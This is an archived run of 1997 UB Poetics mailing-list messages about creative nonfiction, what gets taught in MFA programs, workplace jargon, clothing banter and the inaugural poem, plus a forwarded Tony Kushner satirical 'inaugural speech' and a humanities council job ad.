Below you'll find information about a job with the Pennsylvania Humanities Council. The job has been held by Dottie Schindlinger, and I'm sure Dottie ([redacted]) would be willing to answer questions you have.

EXECUTIVE ASSISTANT
Supports the Executive Director and Assistant Director of statewide cultural organization in development, government relations, and administration. Requires excellent speaking, writing, and organizational skills, and an interest in the humanities. Work involves phone contact, extensive correspondence, and database management. (Familiarity with e-mail and the World Wide Web preferred.) 35-hour week. Salary $20K with excellent benefits. Send letter and resume to Dr. Joseph J. Kelly, Executive Director, Pennsylvania Humanities Council, 320 Walnut Street, Suite 305, Philadelphia, PA 19106-3892.

_____
Dottie Schindlinger
Pennsylvania Humanities Council
320 Walnut Street, Suite 305
Philadelphia, PA 19106-3892
[redacted] (PA only) or [redacted]
E-mail: [redacted]
Website: http://www.libertynet.org/~phc

The Pennsylvania Humanities Council is a private, non-profit organization which serves as the Commonwealth's affiliate of the National Endowment for the Humanities. The PHC supports and conducts public educational programs for adults who seek lifelong learning in the humanities--history, philosophy, literature, and related subjects.

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460. maria damon
Re: neologism redux De Basis
Sun 19 Jan 1997

Responding to the message of <l03010d09af076bdd332d@[142.58.126.33]>
from UB Poetics discussion group <[redacted]>:
>
> > And I'd like to add two examples of Australian journalese -
> >
> > downsize
> > substantive (meaning 'substantial')
> >
> >
> > P.B.

>
my unfaves include "planful" --and "utilize" for "use."

↑ Index

461. **maria damon**
Re: News !
Sun 19 Jan 1997

---

what do youse guyzies think of the rubric "creative nonfiction"? around here it generally is a code word for "memoir." so the mfa program here is trying to replace the term with "literary nonfiction," i guess to convey a bellettristic sense.--md

Responding to the message of <[redacted]>
from UB Poetics discussion group <[redacted]>:
>
> I have a creative nonfiction/memoir piece, "Sweeper Women," in
> the latest (it may not be on the shelves yet, I've only seen the
> last latest, with Ron Silliman's poem) _Iowa Review._
>
> I have a different creative nonfiction/memoir piece, "Gujerat,"
> in the latest _Florida Review_.
>
> Rachel Loden has a poem in this latest issue of _Florida Review_
> as well, "On Beria's Lap".
>
> (Is Gwyn McVay on this list?) Gwyn McVay also has a poem in this
> _Fl Rev_, "Base Metals".
>
> that's it
>
>
> beth simon
> assistant professor, linguistics and english
> dept of english and linguistics
> indiana university - purdue university
> [redacted]
>
> .

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462. Charles Alexander

Re: News !

Sun 19 Jan 1997

At 10:01 AM 1/19/97 -0600, you wrote:
>what do youse guyzies think of the rubric "creative nonfiction"? around here it
>generally is a code word for "memoir." so the mfa program here is trying to
>replace the term with "literary nonfiction," i guess to convey a bellettristic
>sense.--md

Sometime about a year ago, Maria, I spoke to a "creative nonfiction" final-year grad student at your institution. We began talking about some poetry events and she said she didn't know much about "line poetry." I never did quite figure out what she meant by that, but then we just talked about poets and she had never heard of Charles Olson, Robert Duncan, or any number of other people. And while I'm not very well-versed (forgive the pun) on contemporary poets outside my own limited range, I did recognize the people she mentioned, even if I couldn't claim to know their work well. But when we got on to "creative nonfiction" I assumed that might mean essays of all creative sorts, but she made it clear it did not include work like that of Walter Benjamin (even the possibly 'lighter' essays like "Unpacking My Books"), whose name she had also never heard. Now this person seemed obviously energetic and intelligent to me, but we just simply couldn't find a common ground. And while I did learn that "creative nonfiction" included essays by Louise Erdrich, I still didn't get much sense of a definition, practical or theoretical, of "creative nonfiction."

And I think, if anything, the term "literary nonfiction" might confuse matters even more.

charles

ps: Maria, unlike just about anybody else on this Poetics list, your messages are constructed in such a way that when I just hit "reply" on my e-mail, my return message is directed directly to you instead of to the poetics list as a whole, and I have to go through another couple of steps to send to the list. Can you do anything about that? Or am I nitpicking here.

ca

↑ Index

463. **Mark Weiss**
what gets taught
Sun 19 Jan 1997

Charles Alexander's story about the noneducation of a writing student should be shocking but is more saddening. Charles may remember that when I lived in Tucson I managed to get myself one poetry workshop at the university (but only because I was hired through their extended university: in effect, the writing program got an extra section without having to pay for it. They were otherwise distinctly unfriendly to outsiders). The course was a required part of the undergraduate major sequence, so I thought I should speak to the guy who coordinated it to make sure that my students came out with what they needed for the next step. He told me to teach what I wanted, so I told him that I wuld be including reading and discussion of major poets. Among the classics I would probably include some Marvell... He stopped me right there. He said that the department tended not to teach "older poetry," as the students had read that in HS. Understand, he was talking abt sophomores who were products of Arizona public schools. "What do you teach them?" I asked, trying not to sound incredulous. "We emphasize," he said grandly, "the contemporary voice." Well, that got the old juices flowing, so I asked him who he was talking about. "You know, Amy Clampitt, Jory Graham," and a half-dozen or so more of that ilk. My kids got Spicer and Creeley and Schwerner and Williams and Owens and Rothenberg--hosehold names were I come from, and everyone on this list can flesh out the rest of my syllabus. Later that year I was talking to some recent MFA graduates, among them the the young woman who organizes the annual poetry jamboree. Turns out none of them had even heard of Jack Spicer. They knew who Olson was by rumor, but had never opened one of his books. And on and on, as my jaw dropped onto my knees. I gave the woman who organized the jamboree some books to read, and I had to explain to her what she was reading. The upshot was that she invited one poet who's on this list of the many I proposed. There are exceptions: the grad students who hang around Tenney Nathanson and Charles get a lot more, but neither of them were teaching workshops back then (am I right, Tenney?). Those of us on the whatever end (left) of poetry can fight among ourselves all we want (it's probably good for us), but there's a big world out there that doesn't even know we exist. And I'm probably exposing my own inexhaustible naivete even to mention this.

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464. **DS**
Re: News !
Sun 19 Jan 1997

Is it in Gujarati?

> *I have a different creative nonfiction/memoir piece, "Gujerat,"*
> *in the latest _Florida Review_.*
>
> *Rachel Loden has a poem in this latest issue of _Florida Review_*
> *as well, "On Beria's Lap".*
>
> *(Is Gwyn McVay on this list?) Gwyn McVay also has a poem in this*
> *_Fl Rev_, "Base Metals".*
>
> *that's it*
>
> *beth simon*
> *assistant professor, linguistics and english*
> *dept of english and linguistics*
> *indiana university - purdue university*
> [redacted]

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465. **amato**
Re: what gets taught
Sun 19 Jan 1997

---

mark, what you flesh out so nicely is one of the reasons why those of us who "do" work that requires works cited and such like need perhaps to rethink our apparatus...

i'm tilting these days, in anything i write that invokes formally critical apparatus, toward including a bibliography or equiv.... by which i mean a list of works read, which permits me some latitude simply to LIST works that i know my readers are not likely to have read... a list in such a context becomes an extremely performative item...

it's stating the obvious, again---but after talking once with an otherwise bright, talented and knowledgeable yale younger poet who hadn't heard of williams' _kora in hell_ (and a number of other such writings), it became immediately apparent to me that the failure was owing in large part to our teaching institutions...

best,

joe

↑ Index

466. **maria damon**
Re: what gets taught
Sun 19 Jan 1997

Responding to the message of <[redacted]>
from UB Poetics discussion group <[redacted]>:
>
> Charles Alexander's story about the noneducation of a writing student should
> be shocking but is more saddening.

to charles et al: yes, this is my institution all right. walter benjamin is considered "theory" so if you like "cultural studies" or if you're a "marxist" you read benjamin, but it is implicitly understood tht "creative nonfiction" or "poetry" or "fiction" students for that matter have no interest in these matters beyond a general indignation about injustice, which is easily rectified by reading a few novels by Native Americans, Asian Americans, and African Americans. and you can pretty well predict whose work gets read and whose doesn't. nate mackey? kamau brathwaite? aime cesaire? who's that? web du bois? who? wasn't he some kind of sociologist? hey, what's a girl to do except hang out on the poetix list.

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467. **Charles Alexander**
Re: what gets taught
Sun 19 Jan 1997

Mark is of course right about the Tucson situation, although it always seems possible here to find several or even a small "many" people who are interested in the poets this list tends to favor. And it continues to surprise me, here and in Minneapolis where I have lived recently, and I imagine in lots of elsewheres, how easy it is to introduce others to poets one likes, in readings or discussion groups or whatever, just by remaining active. Just that, from that voice-centered MFA place, I have generally found very little publicly active sensibility, rather a tendency to be the writer in isolation and to value that. That said, I also have to say that of course I know many exceptions to that, and I tend to value those who do get publicly active, regardless of whether they read the same poets I do.

charles

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468. **John Kinsella**
Re: Closure & The Pastoral (another Chapter of *Ethics*)
Sun 19 Jan 1997

It's an anti-pastoral. But not in the way an Oliver Goldsmith poem is. Maybe you have to be an Australian with a poetic tradition that has been largely second-hand English pastoral to get this. Or Douglas Barbour, to whom the poem is dedicated (he's from Canada, another Commonwealth country...).

Yours
John K

↑ Index

469. **Eliza McGrand- CVA Guest**
creative semi-auto nonfictively produced-incoherent-with...
Sun 19 Jan 1997

i have a couple of "creative non-fiction" / "semi-autobiographical" / "memoir" -type of peices...

i think it comes from being intimidated by people who can remember dates. you read these autobiographies with every moment neatly commissioning every next Moment. in a nicely disciplined string.

and then you try and write down something that happened holding exact to the impressionistic blurs and morasses of reviewing what happened and this second's impression vs. last week's interpretation vs. interpretation while-it-was-happening, then realize you're not sure whether she said then he said or he said then she said

then geez, you say, i better call it creative non-fiction or semi-autobio or some damned mildly irresponsible thing god i must be getting old... e

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470. **Miekal And**
Re: what gets taught
Sun 19 Jan 1997

maria damon wrote:

  hey, what's a girl to do except hang
> out on the poetix list.

in answer to yr
question, ms maria:

do earth-shaking collaborative writing with her online "associates"!

miekal
in the morning

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471. Rachel Loden
Re: the secret life of books
Sun 19 Jan 1997

George Bowering wrote:
>
> >Wearing: shall I be the first on the list to admit to wearing a dress?
>
> >Rachel Loden
>
> Didnt Bromige already do that?

My understanding was that Bromige had given up dresses for separates and was last seen in a skirt-and-sweater combo, a la Lana Turner at Schwab's. No, George--I think you're suffering from repressed memories of your own wardrobe that night at the Bide-A-Wee in Peekskill, when you got carried away doing the mambo. I can still smell the gardenia in your hair.

Rachel Loden

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472. George Bowering
Re: the secret life of books
Mon 20 Jan 1997

You know, Rachel, I still have that gardenia. It is pressed between the leaves of that book you gave me. Remember? The title is something about "The Warm". That was the first time I had heard a person read beautiful poetry while the instant coffee was cooling. Thank you, oh thank you.

About Bromige. Well, he can never make me forget Room 121!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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473. David Bromige
oh, alright (clothing)
Mon 20 Jan 1997

sheez. . . when are we gonna discuss poetry or sumpin'? i started this clothing thread, and now i'm to be pesterd to death by loden & bowering, hoist by my own petard, a word that does sound like an underthing. ok, i'll come out, but lana turner is the wrong tree, rachel, though thanks for thinking of me that way. i'm in something silver and slinky, and gloria grahame is the dame i'd be. george is more the hedy lamar "ecstacy and me" sort, you know. he and i used to go around vancouver in drag before it was fashionable or even safe. but the night he insisted we visit that male stripjoint . . .in future, communications of this order might ought better be back-channeled. Lets talk about the sonnet. db.

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474. Mark Weiss
(no subject)
Mon 20 Jan 1997

Forgot to mention that I'm wearing the shroom teeshirt that my wife gave me in memory of one of our earlier dates. Not a good thing to be caught in when stopped for a speeding ticket. Teeshirts can be dangerous. We were driving along the north shore of the St. Lawrence from Quebec west, checking out the churches in the villages along the way. As the Canadians out there can attest, these churches are notable for their exceptional ugliness--gothic revival set stone and institutional green trim, each more garish than the last. They're very endearing. As we entered the dingy industrial town of Cap-de-la-Madeleine we saw off to our left on the bank of the river a veritable gothic volcano--it was a huge gothic octagon with a pointed roof. We had to check it out. It was surrounded by acres of parking lot, like a ballpark, but filled with RVs. Crowds of mostly elderly people with folding lawn chairs were converging on the church. We stopped to ask an old man what was going on. It was Ascension, he said, and this was an important pilgrimage church. Why didn't we take a look? "But we're non-believers," I said, "just tourists." "So are most of us," he said. "But I'm not dressed appropriately." I was wearing a teeshirt and cutoffs. He assured me it didn't matter. But it did. As we walked towards the church I noticed that old women were giving me dirty looks--but not in the eye, in the chest. I couldn't figure out what was going on, so I turned to my wife to comment, whereupon she burst into peals of laughter. I was wearing my mexican loteria teeshirt with the topless mermaid on it. Clothes do make the man/woman. What does this have to do with poetry?

↑ Index

475. Miekal And
ZON⸮S NEOLOGISMS
Mon 20 Jan 1997

zon produced these in his learning session the other day, (preparing for the permutations of speech in his lifetime).

ZON⸮S NEOLOGISMS 1-18-97

VIPERE - [v] Running over a cliff & not noticing you⸮ve fallen off the edge, even as you⸮re in the air.

GINITE - [expression] ⸮Goodnight⸮ as said when someone doesn⸮t want to got to sleep.

ZAAAMEE - [v] To play around with a gun when you⸮re not supposed to. ex., ⸮Please don⸮t zaaamee around my children.⸮

LISSEA - [n] A secretive gathering of girls, as when girls hang out together & tell secrets & stuff.

ZYPIE - [adj] When somebody⸮s so crazy that⸮s they⸮re sort of normal

TUZ - [n] A kid who never wants to get into the bathtub or shower but when they finally do they always absolutely love it.

SMOPE - [v] To hang someone over a cliff by a rope which is stretched back along the ground and over a pot of boiling water whose steam slowly unravels the rope, threatening to break & drop the person off the cliff.

FWPEA - [v] To run really fast and keep tripping but keep running.

↑ Index

476. Ron Silliman
quark this
Mon 20 Jan 1997

My current unfavorite in the work environment I inhabit is the verb

attrit

as in "we'll attrit that department to 24 after the new system is up."

Some others include:

the verb "task" as in
"I have been tasked to prepare a white paper on strategy"

"install" as an adjective, as in

"revenue has remained flat while the install base has doubled"

"quark" as a verb, as in "quark that, please"

I hear this stuff every day. All professional jargons are full of it, but the PC industry positively delights in it. When I worked in the prison movement in the 1970s, there were some liberal architects who were calling what's typically known as "the main yard" of their institutional designs "detention gardens." An older institution like San Quentin (dating back well into the 19th century), understands the model somewhat better and calls this same feature "the quad."

Ron Silliman

↑ Index

477. Sherry Brennan
addresses
Mon 20 Jan 1997

I'm looking for two addresses:

I'd like to reach Erica Hunt. Does anyone have her address --or are you on the list, Erica? I'd appreciate an e-mail backchannel.

Also, a friend would like to get in touch with Bill Henderson, as in pushcart awards. Does anyone have an e-mail address for him?

Thanks. Sherry

Sherry Brennan
Development Research
The Pennsylvania State University
[redacted]
[redacted]

↑ Index

478. Pierre Joris
[Fwd: A modest proposal]
Mon 20 Jan 1997

This is a multi-part message in MIME format.

On a day of, yawn, speeches, here's one I can live with ⍰ Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/

http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

by sarah.albany.edu (8.8.4/8.8.4) with SMTP
id QAA22657 for <[redacted]>; Sun, 19 Jan 1997 16:20:57 -0500 (EST)
id AA06188; Sun, 19 Jan 1997 15:23:33 -0600
id AA06182; Sun, 19 Jan 1997 15:23:30 -0600
Date: Sun, 19 Jan 1997 16:20:06 -0500 (EST)
From: Lucy Komisar <[redacted]>
To: PEN Listserv <[redacted]>
Subject: A modest proposal

I know this is off topic, but Tony Kusner is a PEN member.

AND NOW, A WORD FROM SOME FELLOW AMERICANS

By Tony Kushner

Sunday, January 19 1997; Page C01
The Washington Post

Fellow citizens!

No one could be more surprised than I, Anthony R. Kushner, that a gay Jewish socialist playwright could get elected president of the United States. Go know!

Apparently the '96 presidential campaign was so entirely substanceless and boring only seven people bothered to vote: Bill, Hillary, Bob, Liddy, Perot, yours truly and my Aunt Martha. Bill, Bob and Ross each voted for themselves. Hillary wrote herself in. Liddy, I suspect, went into the booth but didn't pull the lever (she has plans of her own in 2000!). Nader, Kemp and Gore were no-shows, and so, between me and Aunt Martha, we carried the day. My co-op building on the Upper West Side hasn't been so excited since the Yankees won the World Series. I plan to move the White House to my apartment because, let's face it, folks, you can't take someone seriously if he doesn't live in Manhattan.

Mark Helprin refused to write this speech for me, so it doesn't have any of the measuring-my-self-against-the-cornfielded-horizon imagery that he wrote for Dole. I live in New York and have never seen the horizon. But thanks to C-SPAN for agreeing to cover my speech when none of the networks would bother. Long live cable TV, say I, and that's all I have to say about technology and information superhighways and the 21st century, except of course that I hope we make it to the 21st century. Three years to go still and it doesn't look good.

Okay, I lied, I have one more thing to say about technology. I read in the papers a few weeks ago that Pentium had invented a computer that can do a trillion calculations a second or something like that. This seems great news to me -- now we have the number-crunching ability to have a planned economy. We already have a planned economy, but I think we need one that's guided by logic, decency and a sense of global developmental human needs, instead of the profit-maximization strategies of a couple of hydra-headed multinational corporations.

First the substance thing and then, for the wrap-up, the vision thing.

I liked Bill's school uniforms idea -- have you seen the way teenagers dress these days? Yuck! We could hire single mothers who have been thrown off welfare to sew them, since we have no other jobs for these people -- heck, maybe we could put their kids to work as well! A family kind of thing! I could sew very nicely when I was a boy, but of course I was a big sissy so maybe that wouldn't work for every formerly dependent child; the ones who are too butch to sew could do something else, like dispose of nuclear waste. In the New Jersey wetlands.

Just kidding! What I think I'll do is cut the defense budget by half or more; pay our United Nations debt and then some; make Joycelyn Elders surgeon general and Lani Guinier attorney general; triple social services and the federal education budgets from kindergarten to graduate studies; stop the barbaric system of paying for schools through property taxes and finance the whole package by really clobbering corporate welfare queens, which as everyone and her dog knows, will bring in billions. There won't be a depression in reaction to this because I'm keeping Alan Greenspan -- I can't get rid of him: He's newly married and, besides, we all know he is the real Master of the Universe -- and Alan has agreed to fadiddle with interest rates and such to keep Wall Street abuzz, and if we see any corporate slacking, we'll nationalize ahead of schedule!

I'll be raising everyone's taxes, which I expect you to pay without all this undignified, ungenerous whining. I am a tax-and-spend sort of evolutionary socialist these days, and if we all cooperate we can have a very nice country.

The rich can still be rich but not nearly as rich; the poor will be much less poor, better fed and healthy and educated and housed; and the middle classes will find that even though their paychecks are smaller, there are all these great services Uncle Sam can provide, like mass transit and health care. Everyone gets health care; insurance and pharmaceutical giants be damned! Doctors and scientists will get paid well so they have no excuse for screwing up, and we'll just have to support this until our improved educational system and universally elevated standard of living have reconstituted us all as kinder, more connected creatures driven by love, generosity, joy and a desire for planetary survival rather than by our grubby private hoarding and primate paranoidal fears. AIDS care expanded and safe sex taught in every classroom, condom and clean needle distribution; and gazillions to stop the global AIDS pandemic, which is not over by a long shot. All that goes without saying, and it's about time!

Forget the Balanced Budget, is what I'm trying to say. Who thought that one up? I don't know anyone on earth who isn't in debt. Forget "trickle-down," too, by the way. As Bob Dole reminded me over coffee yesterday, it's not a winner. Listen, someday there won't even be money, but that'll probably have to wait for my second term.

Secretary of State Kweisi Mfume and I are deep in discussion about the international scene, doing all the obvious things, supporting democratic socialism or whatever looks better than gangsterism and psycho-nationalism in the Eastern bloc with meaningful financial aid packages instead of hoping that a few more McDonald's franchises in Budapest will do the job. We want tightened nuclear arms control and an end to the utter insanity of international arms marketeering, and that means you, too, France, Germany, Britain and South Africa!

I have no idea how to finance this, but I'd rather admit that a civilization needs money than pretend that we can have one without money. John Kenneth Galbraith, Toni Morrison, Larry Kramer, lesbian activist and novelist Sarah Schulman, bell hooks and Alexander Cockburn are going to head a special investigation to find out where all the money went. I want to thank Prof. Raisa Gorbachev for her invaluable economics tutorials.

Karen Finley is taking over the National Endowment for the Arts and Dr. Cornel West, the National Endowment for the Humanities; and I'm giving each of them the same budget as Raytheon spent on those Patriot missiles that didn't actually do anything useful over Tel Aviv. Public television gets a big raise, too, which I know will be great news to Henry Louis Gates and the folks at Dyke TV who will be taking over daily operations. For Health and Human Services secretary, I'm thinking, maybe Roseanne.

I'm pardoning Susan McDougal just 'cause I like her style, and I want everyone to leave Hillary alone. It does take a village to raise a child! Kenneth Starr I'm hiring to begin investigating and prosecuting the Pentagon brass who couldn't be bothered to check out those soldiers exposed to chemicals in the Persian Gulf War -- wasn't that disgusting? Enough with the oversight committees already: These poor people aren't stressed, they're sick. Let's get down and dirty, Ken: Go after those malfeasant generals with the sharpest fang in your pit-bull armory. I expect you to work well with my new press secretary, Jimmy Carville. And thanks, Jimmy, for agreeing to divorce that Republican you married. I'll introduce you to some nicer, smarter women once you get back on track.

Rehnquist, Scalia and Thomas have resigned in protest, thank God, and Jesse Helms has gone home to tend his little nutbush groves. Newt Gingrich, after you've done the manly thing and resigned in disgrace, can I have that necktie you always wear, the one with all the little books on it? Oy, such an intellectual! Your lesbian sibling, Candace, can bring it to me: She's invited to the inaugural festivities at Katz's delicatessen on Houston Street.

Ihave many other plans: jailing tobacco executives, handing the FDA over to Pat Schroeder, kicking serious butt on environmental protection and enforcing pollution standards that actually cut pollution. Viva affirmative action, immigrant rights, a vastly expanded immigration and refugee policy, more supervision of police abuse and mandatory Spanish lessons in all public schools. Rep. Carolyn McCarthy will be in charge of my new draconian gun control laws, and Garry Trudeau's my new Drug Czar.

Now for the vision thing: Go home and read Lincoln's first and second inaugural addresses. Look up the words in the dictionary you don't know. The mystic chords of memory. The better angels of our nature. With malice towards none, with charity for all, with firmness in the right as God gives us to see the right, let us finish the work we are in, to bind up the nation's wounds, to care for him who shall have borne the battle, and for his widows and orphans, to do all which may achieve a just and lasting peace among ourselves and with all nations.

Thanks to Peggy Noonan for writing that, and, of course, thanks to my boyfriend, Michael, our new first lady. He and I will be burning the Defense of Marriage Act on the front steps of the Capitol, right after my Aunt Martha and I are sworn in.

Join us!

Tony Kushner is a playwright whose works include the Pulitzer Prize-winning "Angels in America."

----------108549943A11--

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479. **Douglas Barbour**

*Re: Closure & The Pastoral (another Chapter of *Ethics*)*

Mon 20 Jan 1997

Aside from making a point about his own poem, John Kinsella has a point about settler countries in the commonwealth, as hisown work in the form demonstrates: check out, if you can order it from Oz, his _The Silo: a pastoral symphony_ & his latest (for a month or so I suspect), _Lightning Tree_ [both from Fremantle Arts Centre Press] or _The Undertow: new & selected poems_ [from Arc Publications in the UK]. Those of you lucky enough to catch him on his recent tour of the US & Canada will have heard him read some of these poems as well as talk about what he's doing with the 'genre'. Then I begin to think about who does this in Canada: John Newlove, whose early, minimalist, poems of farm life already break away from pastoral-as-such, GB, at times, & maybe especially in sections of _Autobiology_, Robert Kroetsch in parts of his ongoing poem, _Field Notes_, especially _Seed Catalogue_; & there are more. Do some of Atwood's poems count (I think so). Robert Adamson, one of Australia's finest poets, certainly practices anti-pastoral, even in a book probably seen as 'pure' pastoral by some reviewers, the sharply etched & shifty _The Clean Dark_. Bill Manhire has written a few poems I would call anti-pastoral-as-theory (but not obvious about it), in New Zealand.

Most poems that fit this concept, in my fuzzy thinking this morning, would seem fairly mainstream, but have something that undermines a regular reading in them. I imagine John, who has obviously been thinking about this, would present a much more complex argument...

Just off the top of my head...

==========
==========
Douglas Barbour
Department of English
University of Alberta in the rooms you live in
Edmonton Alberta T6G 2E5 other people's books line your shelves
[redacted] FAX:[redacted]
H: [redacted] bpNichol

↑ Index

480. **maria damon**
Re: oh, alright (clothing)
Mon 20 Jan 1997

---

bromige rites:
. . .in future, communications of this order
> might ought better be back-channeled. Lets talk about the sonnet. db.
>
don't you dare backchannel this thread; it's a ray of sunshine on a cloudy etc

↑ Index

481. **maria damon**
Re: what gets taught
Mon 20 Jan 1997

In message <[redacted]> UB Poetics discussion group writes:
> maria damon wrote:
>
> hey, what's a girl to do except hang
> > out on the poetix list.
>
> in answer to yr
> question, ms maria:
>
> do earth-shaking collaborative writing with her online "associates"!
>
> miekal
> in the morning

it's a deal, babe ps when're u coming to the tcs?
>

↑ Index

482. **maria damon**
(no subject)
Mon 20 Jan 1997

---

weiss reites.
> Clothes do make the man/woman.
> What does this have to do with poetry?

everything. the light went on for me when as an undergrad in the 70s i heard the prof of my "radical criticism" course say, when you buy a jacket, yr buying

a set of relationships.
>

↑ Index

483. Douglas Barbour
Re: tunes to keep yr head clear
Mon 20 Jan 1997

To change the tune slightly:

any of the many by the Kronos Quartet

also all 15 Shostakovich string quartets

everything I've found by either Carla or Paul Bley

all of Mingus (Yes, Miekal; & there's a terrific version of Pork Pie Hat by Jessica Williams, too)

Monk

etc

==========
==========
Douglas Barbour
Department of English
University of Alberta in the rooms you live in
Edmonton Alberta T6G 2E5 other people's books line your shelves
[redacted] FAX:[redacted]
H: [redacted] bpNichol

↑ Index

484. Christopher Alexander
lilt
Mon 20 Jan 1997

---

reading/just read

P. Inman: _Vel_, on O Books
unbelievably good work--this has quickly become a favorite

Peter Ganick: _WOOL_, on Texture Press
Peter Ganick: _untitled parasite_, on Cricket Press but theres an address etc for Juxta on the back?
two very fine chapbooks--get them if you can

John Donne: _Sermons on the Psalms & Gospels_
yess but the language is brilliant--I enjoy the sermons more
than the poems, in fact--despite th are sermons

Bram Stoker: _Dracula_
an old favorite

etc etc
..
christopher alexander, etc.
[redacted]

"... The Anarchists' [national] anthem is an international anthem that consists of 365 raspberries blown in very quick succession to the tune of "Camptown Races". Nobody has to stand up for it, nobody has to listen to it, and, even better, nobody has to play it." --Mike Harding, "The Armchair Anarchist's Almanac"

↑ Index

485. **tmandel**
A nest of ninnies
Mon 20 Jan 1997

George -- great to hear the name of the wonderful Ashbery/Schuyler collab; haven't looked at it in years. Now *I* will take it down from the shelf.

I listen to Neil Young to clear my head sometimes, sometimes to Madredeus (I can't help it; I love their worldpop portugese).

Martinu is full of wondrous sound. Hear the Viola concerto some time.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

486. **Keith Tuma**
building bridges
Mon 20 Jan 1997

Miller Williams said thank you--like many a poet reading at a university somewhere--so that the crowd would know his poem was over. And shuffled off. CNN didn't know whether to call him "poet laureate" or "inaugural poet."

Clinton seemed to like at least one line and was captured by the network with that moony look he produces, eyes squinting and just a little misty, looking up, jaw firmly set and the corners of his mouth turned down--oh afternoon sublime and profound on the shining hill! At least he understands something of performance values! Nearly made me weep, the whole scene, not just for the spectacle of this poetry projected into national ceremony but because there appeared to be real people sitting out in the cold.

So, from here, where it's warm as pixels, I ask you, citizens of Poetics, which is it--Maya Angelou or Miller Williams? Who will call Coolidge and Fagin? What do you make of it all?

Keith Tuma

↑ Index

487. Kenneth Goldsmith
Little Orphan Anagram
Mon 20 Jan 1997

Congratulations to List Mom Charlie Bernstein and Susan B. for a wonderful collaboration on their new artist's book _Little Orphan Anagram_ just released this past Saturday by Granary Books! It's got a gorgeous lime green hard-bound cover filled with hand-painted illustrations by Susan and glorious language by Charles. Each edition is unique as Susan painted every single page by hand. A true work of art.

Check it out!

+==========+ Kenneth Goldsmith work:
http://www.ubuweb.com 611 Bway, #702, NYC 10012 v.[redacted]

----------> editor UbuWeb ViSuAL & COncReTE PoEtRy
http://www.ubuweb.com/vp <----------

↑ Index

488. acgold01
Mottram Conference
Mon 20 Jan 1997

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

Does anyone have information on the gathering in honor of Eric Mottram that, ifmemory serves, is planned for this early fall in London? (I've been browsing the EPC to no avail.) (Hope it wasn't *last* fall!). Backchannel is fine.

Alan

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489. **amato**
Re: building bridges
Mon 20 Jan 1997

---

keith, yeah, i found it sorta sad, and i ended up feeling sorry for williams, fer chrissakes...

i mean, writing pretty strictly out of that aesthetic (for which i don't "blame" williams)---an aesthetic that employs pronouns somewhat less than self-consciously, and the only one presumably understood by the population---it's difficult on such a day not to project backward and forward, to give "us" something to think about in "historical" terms... without complicating things by forcing the aesthetic moment to its crisis... still, it seemed to me williams put it forth with some humility...

i thought the prayer that followed was actually more... complicated in its way, more suggestive wrt turmoil, conflict, etc...

anyway///

best,

joe

↑ Index

490. **steph4848**
Names & books
Mon 20 Jan 1997

Book suggestion: but beautiful: a book about jazz by George Dyer. (FSG/Northpoint. Northpoint, by the way, is now an imprint of Double Take, the mag out of Duke. To add a little puzzle to it all, they are using the logo of the Northpoint Press of Berkeley, that was also distributed by FSG.

Anyway, in a curious mode de seance, Dier evokes the inside worlds of Monk, Ben Webster, Ellington, Lester Young, Mingus, Chet Baker, Art Pepper, and a few others. Dyer is English - and tho the language is driven, compelling, there's a suspicion of the English exclusive obsession with the exotic detail/circumstances of the lives and the art. The artist as disturbed bird in the cage syndrome. Nevertheless, Dyer's obsession rings true. Ironically, given the twists

and turns around Adorno on this list before the hollidays, the book is prefaced by an Adorno quote: "Producers of great art are no demigods, but fallible human beings, often with neurotic and damaged personalities." A good read.

My favorite recent news appropriate name of the week:

Ebony Black

An eighth grader at a local school.

Cheers,
Stephen Vincent

↑ Index

491. Tom Beard
reading, hearing, wearing
Mon 20 Jan 1997

---

reading:

The Gold Bug Variations - Richard Powers (nearly finished)
Musicality - Barbara Guest
The Ambiguous Companion - Tom Weston
The Creative - lecture by Robert Creeley
New & Selected Poems - John Forbes
recent issues of Emigre & Wired

hearing:

Dead Cities - Future Sound of London
In Sides - Orbital
Second Toughest in the Infants - Underworld
Rubberduck - a Windows program that emulates a Roland TB-303, real-time filter-tweaking and all

wearing:

Cream linen pants and waistcoat
White shirt
Blue, white and bronze Armani tie

Hey, am I the first to admit to wearing a tie??

Gotta go.

<<I have to forecast now>>

↑ Index

492. **Pierre Joris**
Re: Mottram Conference
Mon 20 Jan 1997

[redacted] wrote:
>
> Alan Golding
> Prof. of English, Univ. of Louisville
> [redacted]; [redacted]
>
> Does anyone have information on the gathering in honor of Eric Mottram that,
> ifmemory serves, is planned for this early fall in London? (I've been browsing
> the EPC to no avail.) (Hope it wasn't *last* fall!). Backchannel is fine.
>
> Alan

Alan -- the Eric Mottram gathering is still on & should happen in September '97 in two places: London & a small village on the Welsh the name of which escapes me now (Jeff Nuttall has moved back there a few years ago.) As soon as I have more info I will post it. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

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493. **maria damon**
Re: ZON⊕S NEOLOGISMS
Mon 20 Jan 1997

---

megacool

In message <[redacted]> UB Poetics discussion group writes:
> zon produced these in his learning session the other day, (preparing for
> the permutations of speech in his lifetime).
>
>
> ZON►S NEOLOGISMS 1-18-97
>
> VIPERE - [v] Running over a cliff & not noticing you►ve fallen off the
> edge, even as you►re in the air.
>
> GINITE - [expression] ►Goodnight► as said when someone doesn►t want to
> got to sleep.
>
> ZAAAMEE - [v] To play around with a gun when you►re not supposed to.
> ex., ►Please don►t zaaamee around my children.►
>
> LISSEA - [n] A secretive gathering of girls, as when girls hang out
> together & tell secrets & stuff.
>
